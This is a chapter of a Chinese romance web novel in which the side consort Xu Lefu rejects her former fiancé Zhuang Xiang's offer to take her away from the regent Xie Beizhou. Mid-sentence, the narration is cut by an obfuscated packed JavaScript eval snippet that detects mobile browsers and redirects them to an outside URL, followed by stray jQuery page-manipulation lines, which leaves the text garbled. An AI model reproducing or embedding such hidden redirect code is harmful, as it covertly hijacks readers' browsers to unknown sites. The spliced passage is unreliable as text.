许乐芙与谢北舟两人闻言双双停下脚步。
许乐芙有些懵,她转头仔细打量起庄项,却怎么也不记得两人曾见过,况且这位白衣公子容貌不俗,她若是见过怎会一点印象都无?
拼命在脑海中搜索后,最后得出的结论还是没见过,于是她回应:“这位公子,你应当是认错人了,我没见过你。”
庄项却摇头,又问:“敢问侧妃娘娘名讳。”
“姓许,名乐芙。”
庄项闻言暗道果真如此,他深深吸了口气,隐晦地瞧了一眼谢北舟,然后报上了自己的名字:“在下庄项。”
许乐芙听到庄项的名字后点了点头,随意道:“嗯,庄大人好。”
等等,什么?他竟是庄项!
她这才反应过来,原来这就是自己那个便宜未婚夫。
许乐芙面上一僵,不知为何突然就心虚起来,她咽了口唾沫,不敢去看谢北舟的神色。
摄政王头一回纳侧妃,就找了个有婚约的女人,还是与他名声截然相反之人的未婚妻,这传出去无论如何也会遭人耻笑吧?
想到日后谢北舟会因为外头那些乱七八糟的流言而一直折磨她,许乐芙便忍不住哆嗦了下。
不行,她绝不能让这种事发生。
对上庄项热切的目光,许乐芙决定装傻到底,可庄项却没有给她这个机会。
“许姑娘,我与你曾有过婚约。”庄项郑重道。
“哦,是吗?”许乐芙尬笑两声,“我怎么不知道有这回事,庄大人你别开玩笑。”
她不断眼神示意庄项,想让他住嘴不要再说了,可庄项却像是没看懂一般,“你不记得了?我们幼时见过的。”
“哈哈,是嘛,我记性不太好。”
庄项闻言松了口气,原来是不记得了,“无碍,但你现在知道了,我们两家是有定下婚约的。”
许乐芙想了想,还是斟酌着开口:“可我现在是摄政王的侧妃了,那婚约便作废吧。”
“怎么能作废呢!”庄项激动起来,却突然感受到谢北舟不善的目光,他顿时明白了过来,“许姑娘,借一步说话。”
许乐芙为难地看了一眼谢北舟,谢北舟却目不斜视,并不将目光分给她丝毫。
另一头,是庄项已经迈出去了几步,鼓励似地看着她。
无奈之下,她只能也跟着走了几步,两人便离得谢北舟远了些。
庄项见她过来,又稍稍靠近了她些,然后压低声音道:“许姑娘,你是不是被摄政王威胁了,你尽管告诉我,我会想办法救你的。”
“没有。”许乐芙斩钉截铁。
可她看着庄项一副“你果然是被威胁了”的神情,顿时有些无奈,她叹了口气:“庄大人,感谢你一番好意,我们两人本就互不相识,你没必要为我做这些。”
“说完了没有?”身后离他们不远的谢北舟开始不耐。
“说完了说完了,本就没什么好说的。”许乐芙转身,迅速回到了谢北舟身侧。
谢北舟淡淡瞧了她一眼,准备抬脚离开。
只是这脚还未迈开,身边的许乐芙便被庄项一把拉住。
“王爷,恕臣无礼,只是臣实在无法看着臣的未婚妻另许他人。”
许乐芙看着自己被拉住的胳膊,顿时跳了起来,“你疯了?干嘛拉拉扯扯的?”
只是她还未挣脱庄项的手,便感觉自己另外一只手腕一沉,她垂头一看,谢北舟竟也拉住了她。
谢北舟嗓音没有任何一点温度:“她已是本王侧妃。”
“即便你是王爷也不能强人所难。”庄项亦不甘示弱。
许乐芙心中哀嚎,这个庄项还真如传闻中一般,竟然胆敢同摄政王叫板。
可是你们两人互相不对付,不要牵扯可怜,无辜,又弱小的我好吗!
紧张的氛围迅速在空气中蔓延,许乐芙夹在两人之间大气都不敢喘一下。
她小心翼翼扭动着两只手腕,企图唤醒两人的怜悯心。
拜托,被人这样拉着,真的很难受。
只可惜谢北舟和庄项两人一左一右拉着许乐芙的手越握越紧,眼神在空中交锋,谁也不肯让谁。
“本王只说一次,放手。”谢北舟的嗓音中泛着些许不容置疑的冷意。
庄项后槽牙紧了紧,不甘地先放开了手,但他没有死心,仍是开口劝道:“许姑娘,若你是因为无处可去,在下愿意继续履行婚约。”
许乐芙眨了眨眼睛,有些不是很明白庄项话里的意思,难不成许善月还没有去找过他吗?
没道理啊,以许善月的性子,怕是订婚书上的名字都已经添上去了吧。
“那么敢问,我还能做你正妻吗?”许乐芙试探。
她话一问出,谢北舟与庄项,一个攒了攒眉,一个却突然怔愣了一瞬。
“只能,为妾了......”庄项目光有些闪躲,“昨日你妹妹上门,说是你人已经没了...她又带着订婚书,两家的婚约不好作废,最后便在订婚书上加了她的名字。”
解释完之后,他又补充道,“我虽不知这其中有了什么样的差错,为何你今日还好端端的站在这,但既然你无事,我就不能弃你于不管。”
几乎与许乐芙料想的不错,只是让她意外的是,没想到庄项竟愿意同时娶了她二人。
正妻之位给了罪臣之女还不够,若是连妾也是一样的情况,还不知道要怎么被那些世家大族编排。
庄项难道丝毫不在意自己的好名声会毁于一旦吗?
许乐芙眉头紧锁,轻轻摇了摇头,“还是那句话,谢谢你的好意,但我拒绝。”
“为什么?”庄项呢喃着,“难道你看不上做我的妾?”
他兀自摇了摇头,“可是,你留在摄政王身边也只能做妾,甚至还有性命之忧,你同我走,至少我会对你相敬如宾。”
许乐芙简直要被气笑了,这人怎么这么说不通。
都是给人家做妾,哪有什么高低贵贱之分?
留在谢北舟身边,虽然只是个侧妃,但好歹也是太后娘娘亲自赐婚,谢北舟总得看这些太后的面子,不会轻易动她的小命。
日后她躲着些谢北舟,不要触他的霉头便是了。
可若是跟着庄项走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319395|167407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,就她那位继妹,定会天天上赶着来触自己的霉头,那可不是她想躲就能躲的了的。
虽然一个是龙潭,一个是虎穴,许乐芙并不觉着跟着庄项走能好到哪里去。
她刚想反驳,就听身侧的谢北舟突然嗤笑一声,仿佛是听到什么笑话一般,“她连本王的侧妃之位都瞧不上,还能去做你的妾?”
想到今日在母后面前,许乐芙口口声声宁愿要金银珠宝,都不愿做他侧妃的模样,谢北舟就觉着可笑。
倘若许乐芙当真答应了庄项,他可真得撬开她的脑袋,看看这蠢货的脑子到底是怎么长的了。
“回府。”谢北舟冷淡地吐出两个字,耐心终是告急。
竟同这两人平白在这耗了许久,这不是他的行事风格。
许乐芙见状,也不再同庄项废话,说了声告辞便转身去追谢北舟的脚步了。
两人坐上王府的马车,汪阳很快驾马启程。
许乐芙舒舒服服地坐在马车内,马车帘随微风飘动,她看到庄项仍旧站在原地目送着他们的马车。
一袭白衣,飘然若仙。
当得起传闻中的赞誉。
马车随着马儿的跑动转换了位置,许乐芙猝不及防地再次同庄项对视。
一双眸子清亮但又带着些黯然神伤,好似还在为许乐芙没有答应同他走而忧愁。
果真是个滥好人。
许乐芙只是瞟了一眼,便收回了眼神,却发现谢北舟正在盯着她瞧。
被大魔王瞧着,许乐芙只觉得全身都有些不自然,加之她本就有些心虚,更觉如芒在背。
她默默低垂着眼睫,祈祷谢北舟快些移开视线,可谢北舟的眼神始终没放过她。
直到再也受不住这异样的氛围,许乐芙终于忍不住弱弱地开口询问:“王爷,我脸上有什么脏东西吗?”
谢北舟反问:“你同庄项怎么回事?”
许乐芙心里郁闷,就知道男人都会介意自己的女人和别人有过干系,她连忙解释:
“我幼时同庄项有过婚约,但王爷你也知道,我自小就被送到了庄子上生活,根本都没有见过他,所以我同他之间清清白白。”
说着她又伸出三根手指比在脑袋旁,信誓旦旦地保证道:“既然我已经是王爷的人了,我保证以后一定和庄项保持距离,绝不给王爷添麻烦。”
换言之她的意思就是:我都这样保证了,王爷你日后可不能因为这事再给我穿小鞋。
谢北舟看着眼前可怜兮兮地望着自己的许乐芙,觉得这人仿佛就差直接跪下来求自己相信她的话了。
可方才他没有错过许乐芙同庄项对视的瞬间。
他双手抱拳环在胸前,静静打量着许乐芙的神色,又回想起方才在宫门口的场景,若是庄项许她正妻之位,她可会答应?
亦或者这根本就是两人合起伙来给自己演了场戏。
许乐芙的三根手指都已举得发酸,谢北舟却仍旧沉默不语,半晌后,她才听到回应。
谢北舟嗤笑一声,随后用一种极其肯定又淡漠的语气缓缓开口道:“城东澄园戏班子没你不行。”